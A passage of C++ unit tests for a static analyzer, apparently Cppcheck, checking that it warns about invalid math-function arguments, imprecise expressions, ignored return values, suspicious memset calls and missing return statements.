\\n\"\n \" + acosl(+1.0E-1) \\n\"\n \" + acosl(0.1E-1) \\n\"\n \" + acosl(+0.1E-1) \\n\"\n \" + acosl(-0.1E-1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << acos(1.1) << std::endl;\\n\"\n \" std::cout << acosf(1.1) << std::endl;\\n\"\n \" std::cout << acosl(1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid acos() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid acosf() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid acosl() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << acos(-1.1) << std::endl;\\n\"\n \" std::cout << acosf(-1.1) << std::endl;\\n\"\n \" std::cout << acosl(-1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (error) Invalid acos() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:27]: (error) Invalid acosf() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:27]: (error) Invalid acosl() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n }\n\n void mathfunctionCall_asin() {\n // asin, asinf, asinl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" return asin(1) \\n\"\n \" + asin(-1) \\n\"\n \" + asin(0.1) \\n\"\n \" + asin(0.0001) \\n\"\n \" + asin(0.01) \\n\"\n \" + asin(1.0E-1) \\n\"\n \" + asin(-1.0E-1) \\n\"\n \" + asin(+1.0E-1) \\n\"\n \" + asin(0.1E-1) \\n\"\n \" + asin(+0.1E-1) \\n\"\n \" + asin(-0.1E-1) \\n\"\n \" + asinf(1) \\n\"\n \" + asinf(-1) \\n\"\n \" + asinf(0.1) \\n\"\n \" + asinf(0.0001) \\n\"\n \" + asinf(0.01) \\n\"\n \" + asinf(1.0E-1) \\n\"\n \" + asinf(-1.0E-1) \\n\"\n \" + asinf(+1.0E-1) \\n\"\n \" + asinf(0.1E-1) \\n\"\n \" + asinf(+0.1E-1) \\n\"\n \" + asinf(-0.1E-1) \\n\"\n \" + asinl(1) \\n\"\n \" + asinl(-1) \\n\"\n \" + asinl(0.1) \\n\"\n \" + asinl(0.0001) \\n\"\n \" + asinl(0.01) \\n\"\n \" + asinl(1.0E-1) \\n\"\n \" + asinl(-1.0E-1) \\n\"\n \" + asinl(+1.0E-1) \\n\"\n \" + asinl(0.1E-1) \\n\"\n \" + asinl(+0.1E-1) \\n\"\n \" + asinl(-0.1E-1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << asin(1.1) << std::endl;\\n\"\n \" std::cout << asinf(1.1) << std::endl;\\n\"\n \" std::cout << asinl(1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid asin() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid asinf() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid asinl() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << asin(-1.1) << std::endl;\\n\"\n \" std::cout << asinf(-1.1) << std::endl;\\n\"\n \" std::cout << asinl(-1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (error) Invalid asin() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:27]: (error) Invalid asinf() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:27]: (error) Invalid asinl() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n }\n\n void mathfunctionCall_pow() {\n // pow, powf, powl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << pow(0,-10) << std::endl;\\n\"\n \" std::cout << powf(0,-10) << std::endl;\\n\"\n \" std::cout << powl(0,-10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Passing values 0 and -10 to pow() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing values 0 and -10 to powf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing values 0 and -10 to powl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << pow(0,10) << std::endl;\\n\"\n \" std::cout << powf(0,10) << std::endl;\\n\"\n \" std::cout << powl(0,10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_atan2() {\n // atan2\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << atan2(1,1) ;\\n\"\n \" std::cout << atan2(-1,-1) ;\\n\"\n \" std::cout << atan2(0.1,1) ;\\n\"\n \" std::cout << atan2(0.0001,100) ;\\n\"\n \" std::cout << atan2(0.0,1e-1) ;\\n\"\n \" std::cout << atan2(1.0E-1,-3) ;\\n\"\n \" std::cout << atan2(-1.0E-1,+2) ;\\n\"\n \" std::cout << atan2(+1.0E-1,0) ;\\n\"\n \" std::cout << atan2(0.1E-1,3) ;\\n\"\n \" std::cout << atan2(+0.1E-1,1) ;\\n\"\n \" std::cout << atan2(-0.1E-1,8) ;\\n\"\n \" std::cout << atan2f(1,1) ;\\n\"\n \" std::cout << atan2f(-1,-1) ;\\n\"\n \" std::cout << atan2f(0.1,1) ;\\n\"\n \" std::cout << atan2f(0.0001,100) ;\\n\"\n \" std::cout << atan2f(0.0,1e-1) ;\\n\"\n \" std::cout << atan2f(1.0E-1,-3) ;\\n\"\n \" std::cout << atan2f(-1.0E-1,+2) ;\\n\"\n \" std::cout << atan2f(+1.0E-1,0) ;\\n\"\n \" std::cout << atan2f(0.1E-1,3) ;\\n\"\n \" std::cout << atan2f(+0.1E-1,1) ;\\n\"\n \" std::cout << atan2f(-0.1E-1,8) ;\\n\"\n \" std::cout << atan2l(1,1) ;\\n\"\n \" std::cout << atan2l(-1,-1) ;\\n\"\n \" std::cout << atan2l(0.1,1) ;\\n\"\n \" std::cout << atan2l(0.0001,100) ;\\n\"\n \" std::cout << atan2l(0.0,1e-1) ;\\n\"\n \" std::cout << atan2l(1.0E-1,-3) ;\\n\"\n \" std::cout << atan2l(-1.0E-1,+2) ;\\n\"\n \" std::cout << atan2l(+1.0E-1,0) ;\\n\"\n \" std::cout << atan2l(0.1E-1,3) ;\\n\"\n \" std::cout << atan2l(+0.1E-1,1) ;\\n\"\n \" std::cout << atan2l(-0.1E-1,8) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << atan2(0,0) << std::endl;\\n\"\n \" std::cout << atan2f(0,0) << std::endl;\\n\"\n \" std::cout << atan2l(0,0) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Passing values 0 and 0 to atan2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing values 0 and 0 to atan2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing values 0 and 0 to atan2l() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n }\n\n void mathfunctionCall_fmod() {\n // fmod, fmodl, fmodf\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << fmod(1.0,0) << std::endl;\\n\"\n \" std::cout << fmodf(1.0,0) << std::endl;\\n\"\n \" std::cout << fmodl(1.0,0) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (error) Invalid fmod() argument nr 2. The value is 0 but the valid values are '!0.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:29]: (error) Invalid fmodf() argument nr 2. The value is 0 but the valid values are '!0.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:29]: (error) Invalid fmodl() argument nr 2. The value is 0 but the valid values are '!0.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing values 1.0 and 0 to fmod() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing values 1.0 and 0 to fmodf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing values 1.0 and 0 to fmodl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << fmod(1.0,1) << std::endl;\\n\"\n \" std::cout << fmodf(1.0,1) << std::endl;\\n\"\n \" std::cout << fmodl(1.0,1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_precision() {\n check(\"void foo() {\\n\"\n \" print(exp(x) - 1);\\n\"\n \" print(log(1 + x));\\n\"\n \" print(1 - erf(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Expression 'exp(x) - 1' can be replaced by 'expm1(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:3:11]: (style) Expression 'log(1 + x)' can be replaced by 'log1p(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:4:11]: (style) Expression '1 - erf(x)' can be replaced by 'erfc(x)' to avoid loss of precision. [unpreciseMathCall]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" print(exp(x) - 1.0);\\n\"\n \" print(log(1.0 + x));\\n\"\n \" print(1.0 - erf(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Expression 'exp(x) - 1' can be replaced by 'expm1(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:3:11]: (style) Expression 'log(1 + x)' can be replaced by 'log1p(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:4:12]: (style) Expression '1 - erf(x)' can be replaced by 'erfc(x)' to avoid loss of precision. [unpreciseMathCall]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" print(exp(3 + x*f(a)) - 1);\\n\"\n \" print(log(x*4 + 1));\\n\"\n \" print(1 - erf(34*x + f(x) - c));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Expression 'exp(x) - 1' can be replaced by 'expm1(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:3:11]: (style) Expression 'log(1 + x)' can be replaced by 'log1p(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:4:11]: (style) Expression '1 - erf(x)' can be replaced by 'erfc(x)' to avoid loss of precision. [unpreciseMathCall]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" print(2*exp(x) - 1);\\n\"\n \" print(1 - erf(x)/2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkIgnoredReturnValue() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings2 = settingsBuilder().severity(Severity::warning).libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Return value of function mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" foo::mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:8]: (warning) Return value of function foo::mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" foo x;\\n\"\n \" x.mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Return value of function x.mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"bool mystrcmp(char* a, char* b);\\n\" // cppcheck sees a custom strcmp definition, but it returns a value. Assume it is the one specified in the library.\n \"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Return value of function mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void mystrcmp(char* a, char* b);\\n\" // cppcheck sees a custom strcmp definition which returns void!\n \"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" class mystrcmp { mystrcmp() {} };\\n\" // strcmp is a constructor definition here\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return foo::mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if(mystrcmp(a, b));\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" bool b = mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6194\n check(\"void foo() {\\n\"\n \" MyStrCmp mystrcmp(x, y);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6197\n check(\"void foo() {\\n\"\n \" abc::def.mystrcmp(a,b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6233\n check(\"int main() {\\n\"\n \" auto lambda = [](double value) {\\n\"\n \" double rounded = floor(value + 0.5);\\n\"\n \" printf(\\\"Rounded value = %f\\\\n\\\", rounded);\\n\"\n \" };\\n\"\n \" lambda(13.3);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6669\n check(\"void foo(size_t size) {\\n\"\n \" void * res{malloc(size)};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7447\n check(\"void foo() {\\n\"\n \" int x{mystrcmp(a,b)};\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7905\n check(\"void foo() {\\n\"\n \" int x({mystrcmp(a,b)});\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // don't crash\n \" DEBUG(123)(mystrcmp(a,b))(fd);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n check(\"struct teststruct {\\n\"\n \" int testfunc1() __attribute__ ((warn_unused_result)) { return 1; }\\n\"\n \" [[nodiscard]] int testfunc2() { return 1; }\\n\"\n \" void foo() { testfunc1(); testfunc2(); }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" teststruct TestStruct1;\\n\"\n \" TestStruct1.testfunc1();\\n\"\n \" TestStruct1.testfunc2();\\n\"\n \" return 0;\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Return value of function testfunc1() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:4:31]: (warning) Return value of function testfunc2() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:8:17]: (warning) Return value of function TestStruct1.testfunc1() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:9:17]: (warning) Return value of function TestStruct1.testfunc2() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n // #9006\n check(\"template uint8_t b(std::tuple d) {\\n\"\n \" std::tuple c{std::move(d)};\\n\"\n \" return std::get<0>(c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int x; };\\n\"\n \"template \\n\"\n \"A f(int x, Ts... xs) {\\n\"\n \" return {std::move(x), static_cast(xs)...};\\n\"\n \"}\\n\"\n \"A g() { return f(1); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8412 - unused operator result\n check(\"void foo() {\\n\"\n \" !mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:4]: (warning) Return value of function mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" delete *v.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int __attribute__((pure)) p_foo(int);\\n\" // #12697\n \"int __attribute__((const)) c_foo(int);\\n\"\n \"void f() {\\n\"\n \" p_foo(0);\\n\"\n \" c_foo(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) Return value of function p_foo() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:5:5]: (warning) Return value of function c_foo() is not used. [ignoredReturnValue]\\n\",\n errout_str());\n }\n\n void checkIgnoredErrorCode() {\n const char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings2 = settingsBuilder().severity(Severity::style).libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) Error code from the return value of function mystrcmp() is not used. [ignoredReturnErrorCode]\\n\", errout_str());\n }\n\n void memsetZeroBytes() {\n check(\"void f() {\\n\"\n \" memset(p, 10, 0x0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) memset() called to fill 0 bytes. [memsetZeroBytes]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" memset(p, sizeof(p), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) memset() called to fill 0 bytes. [memsetZeroBytes]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" memset(p, sizeof(p), i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6269 false positives in case of overloaded standard library functions\n check(\"class c {\\n\"\n \" void memset( int i );\\n\"\n \" void f( void ) {\\n\"\n \" memset( 0 );\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7285\n check(\"void f() {\\n\"\n \" memset(&tm, sizeof(tm), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) memset() called to fill 0 bytes. [memsetZeroBytes]\\n\", errout_str());\n\n }\n\n void memsetInvalid2ndParam() {\n check(\"void f() {\\n\"\n \" int* is = new int[10];\\n\"\n \" memset(is, 1.0f, 40);\\n\"\n \" int* is2 = new int[10];\\n\"\n \" memset(is2, 0.1f, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (portability) The 2nd memset() argument '1.0f' is a float, its representation is implementation defined. [memsetFloat]\\n\"\n \"[test.cpp:5:18]: (portability) The 2nd memset() argument '0.1f' is a float, its representation is implementation defined. [memsetFloat]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* is = new int[10];\\n\"\n \" float g = computeG();\\n\"\n \" memset(is, g, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (portability) The 2nd memset() argument 'g' is a float, its representation is implementation defined. [memsetFloat]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* is = new int[10];\\n\"\n \" memset(is, 0.0f, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // FP\n \" float x = 2.3f;\\n\"\n \" memset(a, (x?64:0), 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short ss[] = {1, 2};\\n\"\n \" memset(ss, 256, 4);\\n\"\n \" short ss2[2];\\n\"\n \" memset(ss2, -129, 4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (warning) The 2nd memset() argument '256' doesn't fit into an 'unsigned char'. [memsetValueOutOfRange]\\n\"\n \"[test.cpp:5:18]: (warning) The 2nd memset() argument '-129' doesn't fit into an 'unsigned char'. [memsetValueOutOfRange]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int is[10];\\n\"\n \" memset(is, 0xEE, 40);\\n\"\n \" unsigned char* cs = malloc(256);\\n\"\n \" memset(cs, -1, 256);\\n\"\n \" short* ss[30];\\n\"\n \" memset(ss, -128, 60);\\n\"\n \" char cs2[30];\\n\"\n \" memset(cs2, 255, 30);\\n\"\n \" char cs3[30];\\n\"\n \" memset(cs3, 0, 30);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int is[10];\\n\"\n \" const int i = g();\\n\"\n \" memset(is, 1.0f + i, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (portability) The 2nd memset() argument '1.0f+i' is a float, its representation is implementation defined. [memsetFloat]\\n\", errout_str());\n }\n\n void checkMissingReturn1() {\n check(\"int f() {}\");\n ASSERT_EQUALS(\"[test.cpp:1:10]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n {\n const char code[] = \"int main(void) {}\";\n {\n const Settings s = settingsBuilder().c(Standards::C89).build();\n\n check(code, dinit(CheckOptions, $.cpp = false, $.s = &s)); // c code (c89)\n ASSERT_EQUALS(\"[test.c:1:17]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n }\n\n {\n const Settings s = settingsBuilder().c(Standards::C99).build();\n check(code, dinit(CheckOptions, $.cpp = false, $.s = &s)); // c code (c99)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(code, dinit(CheckOptions, $.s = &s)); // c++ code\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n check(\"F(A,B) { x=1; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"auto foo4() -> void {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void STDCALL foo() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void operator=(int y) { x=y; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \"back:\\n\"\n \" return 0;\\n\"\n \"ng:\\n\"\n \" x=y;\\n\"\n \" goto back;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // unreachable code..\n check(\"int foo(int x) {\\n\"\n \" return 1;\\n\"\n \" (void)x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int x) {\\n\"\n \" if (x) goto out;\\n\"\n \" return 1;\\n\"\n \"out:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n // switch\n check(\"int f() {\\n\"\n \" switch (x) {\\n\"\n \" case 1: break;\\n\" // <- error\n \" case 2: return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" switch (x) {\\n\"\n \" case 1: return 2; break;\\n\"\n \" default: return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool test(unsigned char v1, int v2) {\\n\"\n \" switch (v1) {\\n\"\n \" case 0:\\n\"\n \" switch (v2) {\\n\"\n \" case 48000:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \" default:\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // if/else\n check(\"int f(int x) {\\n\"\n \" if (x) {\\n\"\n \" return 1;\\n\"\n \" }\\n\" // <- error (missing else)\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" if (x) {\\n\"\n \" ;\\n\" // <- error\n \" } else {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (!0) {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (!0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n // loop\n check(\"int f(int x) {\\n\"\n \" while (1) {\\n\"\n \" dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // return {..}\n check(\"std::pair typeDecl(int tok) {\\n\"\n \" if (!tok)\\n\"\n \" return {};\\n\"\n \" else\\n\"\n \" return {1, 2};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // noreturn function\n check(\"int f(int x) { exit(0); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { assert(0); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { if (x) return 1; else return bar({1}, {}); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"auto f() -> void {}\"); // #10342\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S1 {\\n\" // #7433\n \" S1& operator=(const S1& r) { if (this != &r) { i = r.i; } }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct S2 {\\n\"\n \" S2& operator=(const S2& s) { if (this != &s) { j = s.j; } return *this; }\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"struct S3 {\\n\"\n \" S3& operator=(const S3& t) { if (this != &t) { k = t.k; return *this; } }\\n\"\n \" int k;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:61]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\"\n \"[test.cpp:10:75]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n // #11171\n check(\"std::enable_if_t f() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::enable_if_t f() {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:51]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template std::enable_if_t{}, int> f(T) {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:71]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template std::enable_if_t{}> f(T) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typename std::enable_if::type f() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typename std::enable_if::type f() {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:64]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template typename std::enable_if{}, int>::type f(T) {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:84]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template typename std::enable_if{}>::type f(T) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" [[noreturn]] void f();\\n\"\n \" int g() { this->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { [[noreturn]] void f(); };\\n\"\n \"int g(S& s) { s.f(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn2() { // #11798\n check(\"int f(bool const a) {\\n\"\n \" switch (a) {\\n\"\n \" case true:\\n\"\n \" return 1;\\n\"\n \" case false:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int main(int argc, char* argv[])\\n\"\n \"{\\n\"\n \" auto const b= f(true);\\n\"\n \" auto const c= f(false);\\n\"\n 